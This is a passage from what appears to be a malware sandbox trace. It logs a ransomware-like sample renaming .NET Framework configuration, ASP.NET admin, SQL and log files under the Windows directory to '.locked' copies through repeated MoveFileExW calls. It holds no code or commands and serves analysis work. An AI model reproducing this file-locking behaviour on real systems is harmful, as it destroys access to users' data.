lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\web.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\web.config.locked"), dwFlags=0x2) returned 1 [0210.617] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\WebAdminHelp.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\webadminhelp.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\WebAdminHelp.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\webadminhelp.aspx.locked"), dwFlags=0x2) returned 1 [0210.680] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\webadminhelp_application.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\WebAdminHelp_Application.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\webadminhelp_application.aspx.locked"), dwFlags=0x2) returned 1 [0210.688] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\webadminhelp_internals.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\WebAdminHelp_Internals.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\webadminhelp_internals.aspx.locked"), dwFlags=0x2) returned 1 [0210.704] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\webadminhelp_provider.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\WebAdminHelp_Provider.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\webadminhelp_provider.aspx.locked"), dwFlags=0x2) returned 1 [0210.718] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\WebAdminHelp_Security.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\webadminhelp_security.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\WebAdminHelp_Security.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\webadminhelp_security.aspx.locked"), dwFlags=0x2) returned 1 [0210.737] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\WebAdminStyles.css" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\webadminstyles.css"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\WebAdminStyles.css.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\webadminstyles.css.locked"), dwFlags=0x2) returned 1 [0210.740] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Aspnet.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\aspnet.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Aspnet.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\aspnet.config.locked"), dwFlags=0x2) returned 1 [0210.743] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Aspnet_regsql.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\aspnet_regsql.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Aspnet_regsql.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\aspnet_regsql.exe.config.locked"), dwFlags=0x2) returned 1 [0210.748] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\caspol.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\caspol.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\caspol.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\caspol.exe.config.locked"), dwFlags=0x2) returned 1 [0210.822] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\CONFIG\\DefaultWsdlHelpGenerator.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\config\\defaultwsdlhelpgenerator.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\CONFIG\\DefaultWsdlHelpGenerator.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\config\\defaultwsdlhelpgenerator.aspx.locked"), dwFlags=0x2) returned 1 [0210.849] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\CONFIG\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\config\\machine.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\CONFIG\\machine.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\config\\machine.config.locked"), dwFlags=0x2) returned 1 [0211.045] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\CONFIG\\web.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\config\\web.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\CONFIG\\web.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\config\\web.config.locked"), dwFlags=0x2) returned 1 [0211.063] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\CONFIG\\web_hightrust.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\config\\web_hightrust.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\CONFIG\\web_hightrust.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\config\\web_hightrust.config.locked"), dwFlags=0x2) returned 1 [0211.074] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\CONFIG\\web_lowtrust.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\config\\web_lowtrust.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\CONFIG\\web_lowtrust.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\config\\web_lowtrust.config.locked"), dwFlags=0x2) returned 1 [0211.085] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\CONFIG\\web_mediumtrust.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\config\\web_mediumtrust.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\CONFIG\\web_mediumtrust.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\config\\web_mediumtrust.config.locked"), dwFlags=0x2) returned 1 [0211.094] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\CONFIG\\web_minimaltrust.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\config\\web_minimaltrust.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\CONFIG\\web_minimaltrust.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\config\\web_minimaltrust.config.locked"), dwFlags=0x2) returned 1 [0211.097] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\csc.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\csc.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\csc.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\csc.exe.config.locked"), dwFlags=0x2) returned 1 [0211.100] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ieexec.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\ieexec.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ieexec.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\ieexec.exe.config.locked"), dwFlags=0x2) returned 1 [0211.102] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ilasm.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\ilasm.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ilasm.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\ilasm.exe.config.locked"), dwFlags=0x2) returned 1 [0211.128] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\InstallCommon.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\installcommon.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\InstallCommon.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\installcommon.sql.locked"), dwFlags=0x2) returned 1 [0211.183] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\InstallMembership.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\installmembership.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\InstallMembership.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\installmembership.sql.locked"), dwFlags=0x2) returned 1 [0211.234] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\InstallPersistSqlState.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\installpersistsqlstate.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\InstallPersistSqlState.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\installpersistsqlstate.sql.locked"), dwFlags=0x2) returned 1 [0211.270] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\InstallPersonalization.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\installpersonalization.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\InstallPersonalization.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\installpersonalization.sql.locked"), dwFlags=0x2) returned 1 [0211.306] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\InstallRoles.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\installroles.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\InstallRoles.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\installroles.sql.locked"), dwFlags=0x2) returned 1 [0211.364] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\InstallSqlState.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\installsqlstate.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\InstallSqlState.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\installsqlstate.sql.locked"), dwFlags=0x2) returned 1 [0211.421] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\InstallSqlStateTemplate.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\installsqlstatetemplate.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\InstallSqlStateTemplate.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\installsqlstatetemplate.sql.locked"), dwFlags=0x2) returned 1 [0211.432] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\InstallWebEventSqlProvider.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\installwebeventsqlprovider.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\InstallWebEventSqlProvider.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\installwebeventsqlprovider.sql.locked"), dwFlags=0x2) returned 1 [0211.435] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\jsc.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\jsc.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\jsc.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\jsc.exe.config.locked"), dwFlags=0x2) returned 1 [0211.447] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\msbuild.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\msbuild.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\msbuild.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\msbuild.exe.config.locked"), dwFlags=0x2) returned 1 [0211.700] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ngen.log" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\ngen.log"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ngen.log.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\ngen.log.locked"), dwFlags=0x2) returned 1 [0212.194] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ngen_service.log" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\ngen_service.log"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ngen_service.log.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\ngen_service.log.locked"), dwFlags=0x2) returned 1 [0212.201] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\regasm.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\regasm.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\regasm.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\regasm.exe.config.locked"), dwFlags=0x2) returned 1 [0212.204] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\regsvcs.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\regsvcs.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\regsvcs.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\regsvcs.exe.config.locked"), dwFlags=0x2) returned 1 [0212.212] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\UninstallCommon.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\uninstallcommon.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\UninstallCommon.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\uninstallcommon.sql.locked"), dwFlags=0x2) returned 1 [0212.222] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\UninstallMembership.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\uninstallmembership.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\UninstallMembership.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\uninstallmembership.sql.locked"), dwFlags=0x2) returned 1 [0212.235] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\UninstallPersistSqlState.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\uninstallpersistsqlstate.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\UninstallPersistSqlState.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\uninstallpersistsqlstate.sql.locked"), dwFlags=0x2) returned 1 [0212.245] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\UninstallPersonalization.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\uninstallpersonalization.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\UninstallPersonalization.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\uninstallpersonalization.sql.locked"), dwFlags=0x2) returned 1 [0212.253] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\UninstallRoles.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\uninstallroles.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\UninstallRoles.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\uninstallroles.sql.locked"), dwFlags=0x2) returned 1 [0212.266] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\UninstallSqlState.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\uninstallsqlstate.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\UninstallSqlState.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\uninstallsqlstate.sql.locked"), dwFlags=0x2) returned 1 [0212.280] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\UninstallSqlStateTemplate.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\uninstallsqlstatetemplate.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\UninstallSqlStateTemplate.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\uninstallsqlstatetemplate.sql.locked"), dwFlags=0x2) returned 1 [0212.288] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\UninstallWebEventSqlProvider.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\uninstallwebeventsqlprovider.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\UninstallWebEventSqlProvider.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\uninstallwebeventsqlprovider.sql.locked"), dwFlags=0x2) returned 1 [0212.291] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\vbc.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\vbc.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\vbc.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\vbc.exe.config.locked"), dwFlags=0x2) returned 1 [0212.300] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\SMSvcHost.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\windows communication foundation\\smsvchost.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\SMSvcHost.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\windows communication foundation\\smsvchost.exe.config.locked"), dwFlags=0x2) returned 1 [0212.315] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v3.5\\DataSvcUtil.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.5\\datasvcutil.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v3.5\\DataSvcUtil.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.5\\datasvcutil.exe.config.locked"), dwFlags=0x2) returned 1 [0212.318] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v3.5\\EdmGen.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.5\\edmgen.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v3.5\\EdmGen.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.5\\edmgen.exe.config.locked"), dwFlags=0x2) returned 1 [0212.334] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\AddInProcess.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\addinprocess.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\AddInProcess.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\addinprocess.exe.config.locked"), dwFlags=0x2) returned 1 [0212.337] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\AddInProcess32.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\addinprocess32.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\AddInProcess32.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\addinprocess32.exe.config.locked"), dwFlags=0x2) returned 1 [0212.339] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\AddInUtil.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\addinutil.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\AddInUtil.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\addinutil.exe.config.locked"), dwFlags=0x2) returned 1 [0212.341] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\applaunch.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\applaunch.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\applaunch.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\applaunch.exe.config.locked"), dwFlags=0x2) returned 1 [0212.362] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\AppConfigHome.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\appconfig\\appconfighome.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\AppConfigHome.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\appconfig\\appconfighome.aspx.locked"), dwFlags=0x2) returned 1 [0212.414] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\CreateAppSetting.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\appconfig\\createappsetting.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\CreateAppSetting.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\appconfig\\createappsetting.aspx.locked"), dwFlags=0x2) returned 1 [0212.430] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\DebugAndTrace.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\appconfig\\debugandtrace.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\DebugAndTrace.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\appconfig\\debugandtrace.aspx.locked"), dwFlags=0x2) returned 1 [0212.453] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\DefineErrorPage.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\appconfig\\defineerrorpage.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\DefineErrorPage.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\appconfig\\defineerrorpage.aspx.locked"), dwFlags=0x2) returned 1 [0212.459] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\EditAppSetting.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\appconfig\\editappsetting.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\EditAppSetting.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\appconfig\\editappsetting.aspx.locked"), dwFlags=0x2) returned 1 [0212.476] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\ManageAppSettings.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\appconfig\\manageappsettings.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\ManageAppSettings.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\appconfig\\manageappsettings.aspx.locked"), dwFlags=0x2) returned 1 [0212.497] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\SmtpSettings.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\appconfig\\smtpsettings.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\AppConfig\\SmtpSettings.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\asp.netwebadminfiles\\appconfig\\smtpsettings.aspx.locked"), dwFlags=0x2) returned 1 [0212.503] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ApplicationConfigurationPage.cs" (normalized: 